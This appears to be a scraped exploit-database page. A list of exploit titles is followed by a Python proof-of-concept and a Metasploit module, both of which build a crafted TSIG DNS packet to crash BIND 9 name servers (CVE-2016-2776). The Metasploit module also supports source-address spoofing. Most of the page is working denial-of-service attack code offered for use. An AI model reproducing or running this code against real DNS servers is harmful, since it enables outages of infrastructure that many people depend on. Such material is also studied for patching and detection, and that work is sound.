
3 new exploits CS-Cart 1.3.3 - (classes_dir) Remote File Inclusion CS-Cart 1.3.3 - 'classes_dir' Remote File Inclusion E-SMARTCART 1.0 - (Product_ID) SQL Injection E-Smart Cart 1.0 - 'Product_ID' SQL Injection E-SMART CART - 'productsofcat.asp' SQL Injection E-Smart Cart - 'productsofcat.asp' SQL Injection CS-Cart 2.0.0 Beta 3 - (Product_ID) SQL Injection CS-Cart 2.0.0 Beta 3 - 'Product_ID' SQL Injection E-Smartcart - SQL Injection E-Smart Cart - SQL Injection CubeCart PHP (shipkey parameter) 4.3.x - SQL Injection CubeCart PHP 4.3.x - 'shipkey' SQL Injection CS Cart 1.3.3 - (install.php) Cross-Site Scripting CS-Cart 1.3.3 - 'install.php' Cross-Site Scripting dansie shopping cart 3.0.4 - Multiple Vulnerabilities Dansie Shopping Cart 3.0.4 - Multiple Vulnerabilities Sendmail 8.11.6 - Address Prescan Memory Corruption Joomla! Component RSfiles (cid parameter) - SQL Injection Joomla! Component RSfiles - (cid parameter) SQL Injection Dovecot with Exim sender_address Parameter - Remote Command Execution Dovecot with Exim - sender_address Parameter Remote Command Execution Exim sender_address Parameter - Remote Code Execution Exim - sender_address Parameter Remote Code Execution PHP 4.x/5.0/5.1 with Sendmail Mail Function additional_parameters - Argument Arbitrary File Creation PHP 4.x/5.0/5.1 with Sendmail Mail Function - additional_parameters Argument Arbitrary File Creation Simplog 0.9.3 BlogID Parameter - Multiple SQL Injections Simplog 0.9.3 - BlogID Parameter Multiple SQL Injections E-SMART CART - 'Members Login' Multiple SQL Injection Vulnerabilities E-Smart Cart - 'Members Login' Multiple SQL Injection Vulnerabilities MW6 Technologies Aztec ActiveX (Data parameter) - Buffer Overflow MW6 Technologies Datamatrix - ActiveX (Data Parameter) - Buffer Overflow MW6 Technologies MaxiCode ActiveX (Data parameter) - Buffer Overflow MW6 Technologies Aztec ActiveX - (Data parameter) Buffer Overflow MW6 Technologies Datamatrix ActiveX - (Data Parameter) - Buffer Overflow MW6 Technologies MaxiCode ActiveX - (Data parameter) Buffer Overflow WordPress Plugin Recipes Blog 'id' Parameter - SQL Injection WordPress Plugin Recipes Blog - 'id' Parameter SQL Injection Le Forum 'Fichier_Acceuil' Parameter - Remote File Inclusion Le Forum - 'Fichier_Acceuil' Parameter Remote File Inclusion eFront 3.6.14.4 (surname parameter) - Persistent Cross-Site Scripting eFront 3.6.14.4 - (surname parameter) Persistent Cross-Site Scripting WordPress Plugin Safe Search 'v1' Parameter - Cross-Site Scripting WordPress Plugin Safe Search - 'v1' Parameter Cross-Site Scripting WordPress Plugin Twitter Feed 'url' Parameter - Cross-Site Scripting WordPress Plugin Twitter Feed - 'url' Parameter Cross-Site Scripting WordPress Plugin GD Star Rating 'votes' Parameter - SQL Injection WordPress Plugin GD Star Rating - 'votes' Parameter SQL Injection AJ Classifieds 'listingid' Parameter - SQL Injection AJ Classifieds - 'listingid' Parameter SQL Injection PHP Prior to 5.3.7 - Multiple Null Pointer Dereference Denial Of Service Vulnerabilities PHP < 5.3.7 - Multiple Null Pointer Dereference Denial Of Service Vulnerabilities Opera Web Browser Prior to 11.60 - Multiple Denial of Service / Unspecified Vulnerabilities Opera Web Browser < 11.60 - Multiple Denial of Service / Unspecified Vulnerabilities Bind 9 DNS Server - Denial of Service Linux Kernel 3.10.0-229.x (RHEL 7.1 / CentOS) - 'snd-usb-audio' Crash (PoC) Linux Kernel 3.10.0-229.x (RHEL 7.1 / CentOS) - 'iowarrior' Driver Crash (PoC) Linux Kernel 3.10.0-229.x (CentOS / RHEL 7.1) - 'snd-usb-audio' Crash (PoC) Linux Kernel 3.10.0-229.x (CentOS / RHEL 7.1) - 'iowarrior' Driver Crash (PoC) OpenCart 2.1.0.2 to 2.2.0.0 - json_decode Function Remote Code Execution OpenCart 2.1.0.2 < 2.2.0.0 - json_decode Function Remote Code Execution Disk Pulse Enterprise 9.0.34 - Buffer Overflow
201 lines
6.6 KiB
Python
Executable file
201 lines
6.6 KiB
Python
Executable file
import socket
|
|
import struct
|
|
|
|
TARGET = ('192.168.200.10', 53)
|
|
|
|
Q_A = 1
|
|
Q_TSIG = 250
|
|
DNS_MESSAGE_HEADERLEN = 12
|
|
|
|
|
|
def build_bind_nuke(question="\x06google\x03com\x00", udpsize=512):
|
|
query_A = "\x8f\x65\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01" + question + int16(Q_A) + "\x00\x01"
|
|
|
|
sweet_spot = udpsize - DNS_MESSAGE_HEADERLEN + 1
|
|
tsig_rr = build_tsig_rr(sweet_spot)
|
|
|
|
return query_A + tsig_rr
|
|
|
|
def int16(n):
|
|
return struct.pack("!H", n)
|
|
|
|
def build_tsig_rr(bind_demarshalled_size):
|
|
signature_data = ("\x00\x00\x57\xeb\x80\x14\x01\x2c\x00\x10\xd2\x2b\x32\x13\xb0\x09"
|
|
"\x46\x34\x21\x39\x58\x62\xf3\xd5\x9c\x8b\x8f\x65\x00\x00\x00\x00")
|
|
tsig_rr_extra_fields = "\x00\xff\x00\x00\x00\x00"
|
|
|
|
necessary_bytes = len(signature_data) + len(tsig_rr_extra_fields)
|
|
necessary_bytes += 2 + 2 # length fields
|
|
|
|
# from sizeof(TSIG RR) bytes conforming the TSIG RR
|
|
# bind9 uses sizeof(TSIG RR) - 16 to build its own
|
|
sign_name, algo_name = generate_padding(bind_demarshalled_size - necessary_bytes + 16)
|
|
|
|
tsig_hdr = sign_name + int16(Q_TSIG) + tsig_rr_extra_fields
|
|
tsig_data = algo_name + signature_data
|
|
return tsig_hdr + int16(len(tsig_data)) + tsig_data
|
|
|
|
def generate_padding(n):
|
|
max_per_bucket = [0x3f, 0x3f, 0x3f, 0x3d, 0x3f, 0x3f, 0x3f, 0x3d]
|
|
buckets = [1] * len(max_per_bucket)
|
|
|
|
min_size = len(buckets) * 2 + 2 # 2 bytes for every bucket plus each null byte
|
|
max_size = sum(max_per_bucket) + len(buckets) + 2
|
|
|
|
if not(min_size <= n <= max_size):
|
|
raise RuntimeException("unsupported amount of bytes")
|
|
|
|
curr_idx, n = 0, n - min_size
|
|
while n > 0:
|
|
next_n = max(n - (max_per_bucket[curr_idx] - 1), 0)
|
|
buckets[curr_idx] = 1 + n - next_n
|
|
n, curr_idx = next_n, curr_idx + 1
|
|
|
|
n_padding = lambda amount: chr(amount) + "A" * amount
|
|
stringify = lambda sizes: "".join(map(n_padding, sizes)) + "\x00"
|
|
|
|
return stringify(buckets[:4]), stringify(buckets[4:])
|
|
|
|
if __name__ == "__main__":
|
|
bombita = build_bind_nuke()
|
|
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
s.sendto(bombita, TARGET)
|
|
s.close()
|
|
|
|
'''
|
|
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'timeout'
|
|
require 'socket'
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Capture
|
|
include Msf::Auxiliary::UDPScanner
|
|
include Msf::Auxiliary::Dos
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'BIND 9 DoS CVE-2016-2776',
|
|
'Description' => %q{
|
|
Denial of Service Bind 9 DNS Server CVE-2016-2776.
|
|
Critical error condition which can occur when a nameserver is constructing a response.
|
|
A defect in the rendering of messages into packets can cause named to exit with an
|
|
assertion failure in buffer.c while constructing a response to a query that meets certain criteria.
|
|
|
|
This assertion can be triggered even if the apparent source address isnt allowed
|
|
to make queries.
|
|
},
|
|
# Research and Original PoC - msf module author
|
|
'Author' => [ 'Martin Rocha', 'Ezequiel Tavella', 'Alejandro Parodi', 'Infobyte Research Team'],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2016-2776' ],
|
|
[ 'URL', 'http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html' ]
|
|
],
|
|
'DisclosureDate' => 'Sep 27 2016',
|
|
'DefaultOptions' => {'ScannerRecvWindow' => 0}
|
|
))
|
|
|
|
register_options([
|
|
Opt::RPORT(53),
|
|
OptAddress.new('SRC_ADDR', [false, 'Source address to spoof'])
|
|
])
|
|
|
|
deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT')
|
|
end
|
|
|
|
def check_server_status(ip, rport)
|
|
res = ""
|
|
sudp = UDPSocket.new
|
|
sudp.send(valid_query, 0, ip, rport)
|
|
begin
|
|
Timeout.timeout(5) do
|
|
res = sudp.recv(100)
|
|
end
|
|
rescue Timeout::Error
|
|
end
|
|
|
|
if(res.length==0)
|
|
print_good("Exploit Success (Maybe, nameserver did not replied)")
|
|
else
|
|
print_error("Exploit Failed")
|
|
end
|
|
end
|
|
|
|
def scan_host(ip)
|
|
@flag_success = true
|
|
print_status("Sending bombita (Specially crafted udp packet) to: "+ip)
|
|
scanner_send(payload, ip, rport)
|
|
check_server_status(ip, rport)
|
|
end
|
|
|
|
def get_domain
|
|
domain = "\x06"+Rex::Text.rand_text_alphanumeric(6)
|
|
org = "\x03"+Rex::Text.rand_text_alphanumeric(3)
|
|
get_domain = domain+org
|
|
end
|
|
|
|
def payload
|
|
query = Rex::Text.rand_text_alphanumeric(2) # Transaction ID: 0x8f65
|
|
query += "\x00\x00" # Flags: 0x0000 Standard query
|
|
query += "\x00\x01" # Questions: 1
|
|
query += "\x00\x00" # Answer RRs: 0
|
|
query += "\x00\x00" # Authority RRs: 0
|
|
query += "\x00\x01" # Additional RRs: 1
|
|
|
|
# Doman Name
|
|
query += get_domain # Random DNS Name
|
|
query += "\x00" # [End of name]
|
|
query += "\x00\x01" # Type: A (Host Address) (1)
|
|
query += "\x00\x01" # Class: IN (0x0001)
|
|
|
|
# Aditional records. Name
|
|
query += ("\x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #192 bytes
|
|
query += "\x3d"+Rex::Text.rand_text_alphanumeric(61)
|
|
query += "\x00"
|
|
|
|
query += "\x00\xfa" # Type: TSIG (Transaction Signature) (250)
|
|
query += "\x00\xff" # Class: ANY (0x00ff)
|
|
query += "\x00\x00\x00\x00" # Time to live: 0
|
|
query += "\x00\xfc" # Data length: 252
|
|
|
|
# Algorithm Name
|
|
query += ("\x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #Random 192 bytes
|
|
query += "\x1A"+Rex::Text.rand_text_alphanumeric(26) #Random 26 bytes
|
|
query += "\x00"
|
|
|
|
# Rest of TSIG
|
|
query += "\x00\x00"+Rex::Text.rand_text_alphanumeric(4) # Time Signed: Jan 1, 1970 03:15:07.000000000 ART
|
|
query += "\x01\x2c" # Fudge: 300
|
|
query += "\x00\x10" # MAC Size: 16
|
|
query += Rex::Text.rand_text_alphanumeric(16) # MAC
|
|
query += "\x8f\x65" # Original Id: 36709
|
|
query += "\x00\x00" # Error: No error (0)
|
|
query += "\x00\x00" # Other len: 0
|
|
end
|
|
|
|
def valid_query
|
|
query = Rex::Text.rand_text_alphanumeric(2) # Transaction ID: 0x8f65
|
|
query += "\x00\x00" # Flags: 0x0000 Standard query
|
|
query += "\x00\x01" # Questions: 1
|
|
query += "\x00\x00" # Answer RRs: 0
|
|
query += "\x00\x00" # Authority RRs: 0
|
|
query += "\x00\x00" # Additional RRs: 0
|
|
|
|
# Doman Name
|
|
query += get_domain # Random DNS Name
|
|
query += "\x00" # [End of name]
|
|
query += "\x00\x01" # Type: A (Host Address) (1)
|
|
query += "\x00\x01" # Class: IN (0x0001)s
|
|
end
|
|
|
|
end
|
|
'''
|